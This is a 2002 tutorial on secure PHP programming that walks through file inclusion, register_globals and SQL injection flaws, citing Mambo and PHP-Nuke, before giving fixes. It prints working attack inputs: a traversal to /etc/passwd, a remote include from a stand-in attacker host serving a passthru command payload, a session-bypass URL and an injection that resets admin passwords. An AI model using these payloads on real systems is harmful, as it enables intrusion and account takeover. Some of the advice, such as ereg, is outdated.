Secure Programming in PHP
By Thomas Oertli
January 30, 2002
Introduction
Dangers
Files
Global Variables
SQL
Secure Programming
Awareness
Check User Variables
Master the Global Variable Scope
Logging
Conclusion
About the Author
Introduction
The goal of this paper is not only to show
common threats and challenges of programming secure PHP applications but also to
show you practical methods for doing so. The wonderful thing about PHP is that
people with little or even no programming experience are able to achieve simple
goals very quickly. The problem, on the other hand, is that many programmers are
not really conscious about what is going behind the curtains. Security and
convenience do not often go hand in hand -- but they can.
Dangers
Files
PHP has some very flexible file handling
functions. The include(),
require() and
fopen()
functions accept local path names as well as remote files using URLs. A lot of
vulnerabilities I have seen are due to incorrect handling of dynamic file or
path names.
Example
On a site I will not mention in this
article (because the problem still has not been solved) has one script which
includes various HTML files and displays them in the proper layout. Have a look
at the following URL:
http://example.com/page.php?i=aboutus.html
The variable
$i obviously
contains the file name to be included. When you see a URL like this, a lot of
questions should come to your mind:
- Has the programmer considered
directory traversals like
i=../../../etc/passwd ?
- Does he check for the
.html extension?
- Does
he use
fopen() to
include the files? - Has
he thought about not allowing remote files?
In this case, every answer was
negative. Time to play! Of course, it is now possible to read all the files the
httpd user
has read access for. But what is even more exciting is the fact that the
include()
function is used to include the HTML file. Consider this:
http://example.com/page.php?i=http://evilhacker.org/exec.html
Where exec.html contains a couple of lines
of code:
<?php
passthru ('id');
passthru ('ls -al /etc');
passthru ('ping -c 1 evilhaxor.org');
passthru ('echo You have been hax0red | mail root');
?>
I am sure you get the idea. A lot of bad
things can be done from here.
Global Variables
Per default, PHP writes most of the
variables into the global scope. Of course, this is very convenient. On the
other hand, you can get lost in large scripts very quickly. Where did that
variable come from? If it is not set, where could it come from? All EGPCS
(Environment, GET, POST, Cookie, and Server) variables are put into the global
scope.
The global associative arrays
$HTTP_ENV_VARS, $HTTP_GET_VARS,
$HTTP_POST_VARS, $HTTP_COOKIE_VARS,
$HTTP_SERVER_VARS and
$HTTP_SESSION_VARS
will be created when the configuration directive
track_vars is
set. This allows you to look for a variable only in the place you expect it to
come from. Note: As of PHP 4.0.3,
track_vars
is always turned on.
Example
This security hole was reported to the
Bugtraq mailing list by Ismael Peinado Palomo on July 25th, 2001. Mambo Site
Server 3.0.x, a dynamic portal engine and content management tool based on PHP
and MySQL, is vulnerable to a typical global scope exploit. The code has been
modified and simplified.
Under the 'admin/' directory, index.php checks whether the password matches the one in the database after posting the form:
<?php
if ($dbpass == $pass) {
session_register("myname");
session_register("fullname");
session_register("userid");
header("Location: index2.php");
}
?>
When the passwords match, the variables
$myname,
$fullname and
$userid are
registered as session variables. The user then gets redirected to
index2.php .
Let us see what happens there:
<?php
if (!$PHPSESSID) {
header("Location: index.php");
exit(0);
} else {
session_start();
if (!$myname) session_register("myname");
if (!$fullname) session_register("fullname");
if (!$userid) session_register("userid");
}
?>
If the session ID has not been set, the
user will be directed back to the login screen. If there is a session ID,
though, the script will resume the session and will put the previously set
session variables into the global scope. Nice. Let us see how we can exploit
this. Consider the following URL:
http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joey&userid=admin
The GET variables
$PHPSESSID, $myname,
$fullname and
$userid are
created as global variables per default. So when you look at the
if-else-structure above, you will notice that the script figures
$PHPSESSID is
set and that the three variables dedicated to authorize and identify the user
can be set to anything you want. The database has not even been queried. A quick
fix for this problem -- by far not the perfect one -- would be to check for
$HTTP_SESSION_VARS['userid']
or
$_SESSION['userid']
(PHP => v4.1.0) instead of
$userid . If
you are serious about making secure web applications read chapter 3.3.
SQL
Programming in PHP would be boring without
a decent SQL database connected to the web server. However, assembling SQL
queries with unchecked variables is a dangerous thing to do.
Example
The following bug in PHP-Nuke 5.x has been
reported to the Bugtraq mailing on August 3, 2001. It is actually a combination
of exploiting global variables and an unchecked SQL query variable.
The PHP-Nuke developers decided to add the
"nuke" prefix
to all tables in order to avoid conflicts with other scripts. The prefix can be
changed when multiple Nuke sites are run using the same database. Per default,
$prefix =
"nuke"; is defined in the configuration file
config.php .
Let us now look at a few lines from the
script
article.php .
<?php
if (!isset($mainfile)) {
include("mainfile.php");
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>
And a bit further down: the SQL query.
<?php
mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid");
?>
To change the SQL query, we need to make
sure $prefix
is not set to its default value so we can set an arbitrary value via GET. The
configuration file
config.php is
included in
mainfile.php .
As we know from the last chapter, we can set the variables
$mainfile,
$sid and
$tid to any
value using GET parameters. By doing so, the script will think
mainfile.php
has been included and
$prefix has
been set accordingly. Now, we are in a position to execute any SQL query
starting with
UPDATE . So
the following query will set all admin passwords to
'1' :
http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23
The query now looks like this:
UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid");
Of course, anything after
# will be
considered as a comment and will be ignored.
Secure Programming
Awareness
Before taking any technical measures, you
have to realize that you cannot trust any input from external sources. Whether
it is a GET or POST parameter or even a cookie, it can be set to anything.
User-side JavaScript form checks will not make any difference. ;)
Check User Variables
Every external variable has to be verified.
In many cases you can just use type casting. For example, when you pass a
database table id as a GET parameter the following line would do the
trick:
$id = (int)$HTTP_GET_VARS['id'];
or
$id = (int)$_GET['id']; /* (PHP => v4.1.0) */
Now you can be sure
$id contains
an integer. If somebody tried to modify your SQL query by passing a string, the
value would simply be
0 . Checking
strings is a little more difficult. In my opinion, the only professional way to
do this is by using regular expressions. I know that many of you try to avoid
them but -- believe me -- they are great fun once you got the basic idea. As an
example, the variable
$i from
chapter 2.1. can be verified with this expression:
<?php
if (ereg("^[a-z]+\.html$", $id)) {
echo "Good!";
} else {
die("Try hacking somebody else's site.");
}
?>
This script will only continue when the
$id variable
contains a file name starting with some lowercase alphabetic characters and
ending with a .html extension. I will not go into regular expression details but
I strongly recommend you the book "Mastering Regular Expressions" by Jeffrey E.
F. Friedl (O'Reilly).
Master the Global Variable Scope
I am glad I did not have much time to write
this article in early December 2001, because in the meantime Andi and Zeev added
some very useful arrays in PHP v4.1.0:
$_GET, $_POST, $_COOKIE, $_SERVER,
$_ENV and
$_SESSION .
These variables deprecate the old
$HTTP_*_VARS
arrays and can be used regardless of the scope. There is no need to import them
using the
global
statement within functions.
Do yourself a favour and turn the
configuration directive
register_globals
off. This will cause your GET, POST, Cookie, Server, Environment and Session
variables not to be in the global scope anymore. Of course, this requires you to
change your coding practice a little. But it is definitely a good thing to know
where your variables come from. It will help you prevent security holes
described in chapter 2.2. This simple example will show you the
difference:
Bad:
<?php
function session_auth_check() {
global $auth;
if (!$auth) {
die("Authorization required.");
}
}
?>
Good:
<?php
function session_auth_check() {
if (!$_SESSION['auth']) {
die("Authorization required.");
}
}
?>
Logging
In a production environment it is a good
idea to set the
error_reporting
level to 0 .
Use the
error_log()
function to log errors to a file or even alert yourself via
e-mail.
If you are really concerned about security,
you can even do some preventive "intrusion detection". For example, you could
send yourself an e-mail alert when somebody plays with GET/POST/Cookie
parameters and the regular expression function returns false accordingly.
Conclusion
Programming securely definitely needs a
little more time than the "Wow, it works!" technique. But as you can see by the
examples, you cannot afford to ignore security. I hope I could make you think
about how to improve your existing applications and especially how to change
your programming practice in the future. Happy hacking!
About the
authorThomas Oertli is a PHP programmer and Linux systems administrator for Zurich/Switzerland based limone AG. He also does freelance IT security projects (penetration testing and hardening).
|